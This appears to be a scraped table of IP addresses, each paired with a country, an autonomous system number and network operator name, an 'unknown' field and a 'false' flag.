 unknown Canada
11998 GNB-ORGCA false
162.89.43.62
 unknown United States
393759 CITY-OF-AUSTINUS false
84.59.198.152
 unknown Germany
3209 VODANETInternationalIP-BackboneofVodafoneDE false
101.241.166.175
 unknown China
17429 BGCTVNETBEIJINGGEHUACATVNETWORKCOLTDCN false
62.79.232.196
 unknown Denmark
9158 TELENOR_DANMARK_ASDK false
40.176.186.198
 unknown United States
4249 LILLY-ASUS false
39.189.18.12
 unknown China
56041 CMNET-ZHEJIANG-APChinaMobilecommunicationscorporationC false
198.207.3.101
 unknown United States
17007 OATK-AS1US false
46.147.58.102
 unknown Russian Federation
12768 ER-TELECOM-ASRU false
139.38.79.26
 unknown United States
5972 DNIC-ASBLK-05800-06055US false
125.40.151.243
 unknown China
4837 CHINA169-BACKBONECHINAUNICOMChina169BackboneCN false
216.186.108.115
 unknown United States
10430 WA-K20US false
18.43.36.150
 unknown United States
3 MIT-GATEWAYSUS false
24.100.12.157
 unknown United States
11492 CABLEONEUS false
223.95.137.37
 unknown China
56041 CMNET-ZHEJIANG-APChinaMobilecommunicationscorporationC false
115.217.42.191
 unknown China
4134 CHINANET-BACKBONENo31Jin-rongStreetCN false
68.167.155.178
 unknown United States
18566 MEGAPATH5-US false